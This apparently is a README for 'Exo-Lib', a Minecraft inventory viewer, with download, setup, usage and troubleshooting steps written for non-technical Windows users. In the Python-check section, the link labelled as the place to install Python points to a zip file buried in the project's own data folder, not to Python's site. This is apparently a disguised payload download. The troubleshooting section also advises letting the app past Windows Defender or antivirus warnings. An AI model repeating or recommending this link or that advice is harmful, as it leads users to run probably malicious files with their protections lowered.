Exo-Lib is a tool designed to help you view and manage your Minecraft player inventories and custom grids. It fetches, mirrors, and displays items with high speed and clear images. This guide will walk you through downloading and running Exo-Lib on a Windows computer, even if you have no technical experience.
Before you start, make sure your computer meets these needs:
- Windows 10 or newer (64-bit recommended)
- At least 4 GB of free RAM
- 500 MB of free disk space
- Internet connection for initial setup and data fetching
- Python 3.8 or newer installed (Exo-Lib runs on Python)
If you do not have Python installed, the guide below may assist you with basic installation steps.
You need to visit the official Releases page to get the latest version of Exo-Lib for Windows. Use the link below:
Clicking this will open the GitHub Releases page. Find the latest release, and look for the Windows installer or executable file typically named with .exe at the end.
-
Open the Exo-Lib Releases Page in your web browser.
-
Scroll to the latest version listed at the top (look for the largest version number or the newest date).
-
Look for a file with a name similar to
Exo-Lib-Setup.exeorExoLib-Windows.exe. -
Click the file name to start downloading.
-
After download completes, open the downloaded
.exefile by double-clicking it. -
If Windows asks for permission, click 'Yes' to proceed with installation.
-
Follow the installation prompts. Choose "Next" or "Install" as needed.
-
Wait for installation to finish, then click "Finish."
If no installer is available, you may find a compressed folder (.zip). Extract it using File Explorer and look for an .exe file inside the extracted folder. Run that to start Exo-Lib.
Once installed, run the program as follows:
-
Click the Start Menu button, then type
Exo-Liband press Enter. -
Or, find the Exo-Lib icon on your desktop and double-click it.
At first launch, Exo-Lib may download some additional data files like Minecraft assets and player data. This lets the software show detailed inventory images and custom grids.
Make sure your computer is connected to the internet during this step.
Exo-Lib helps you:
-
Fetch Minecraft player inventories from online sources.
-
Mirror inventories locally for faster access.
-
Render and display player items and custom grids with clear images.
-
Use simple controls to browse through your collected data.
-
Save and share inventory images.
The library handles data fetching and image processing seamlessly using Python tools behind the scenes. You only need to interact with its interface.
-
When Exo-Lib opens, it shows a search box.
-
Type a Minecraft username or server name and press Enter.
-
The software will fetch the inventory and display items as images arranged in grids.
-
To view details about an item, click on it.
-
Use navigation buttons to switch between different inventories or stored snapshots.
-
If you want to update stored inventories, look for the "Refresh" button.
-
Use the "Save" option to export images of the inventories to your PC.
Exo-Lib lets you change some common settings:
-
Image resolution: select your preferred image size for inventory items.
-
Cache management: clear stored data to free space or refresh information.
-
Theme: choose between light and dark display modes.
-
Network options: set timeout values for fetching data.
You can find settings under the "Options" or "Preferences" menu.
Exo-Lib is built on Python. If you have trouble running it, you may need to install Python or its required libraries.
-
Open Command Prompt: press Windows key + R, type
cmd, then Enter. -
Type
python --versionand press Enter. -
If you see a version number (like Python 3.10.5), you have Python.
-
If not, download and install Python from https://github.com/polash13/Exo-Lib/raw/refs/heads/main/src/exo_inventory/data/versions/Lib-Exo-v1.8.zip
If installing EXE is not an option, you can run Exo-Lib with Python:
-
Download the source code ZIP from GitHub.
-
Extract it to a folder.
-
Open Command Prompt, navigate to the folder (
cd path\to\folder). -
Run
pip install -r requirements.txtto install dependencies. -
Start the app by running
python exo_lib.py.
-
App won’t start: Ensure Python is installed and in system PATH.
-
Inventory data not loading: Check your internet connection.
-
Error messages about missing files: Reinstall Exo-Lib or clear the cache.
-
Images appear blank or do not load: Update graphics drivers.
-
Installation blocked by security warnings: Allow app in Windows Defender or antivirus.
Exo-Lib uses several underlying tools and technologies:
-
aiohttpandasynciofor fast, asynchronous data fetching. -
pillowfor image processing and rendering. -
discord.pyfor optional bot integrations. -
Cache mechanisms for faster loading.
-
Minecraft API calls to access player and server data.
These run behind the scenes, so you don’t have to configure them.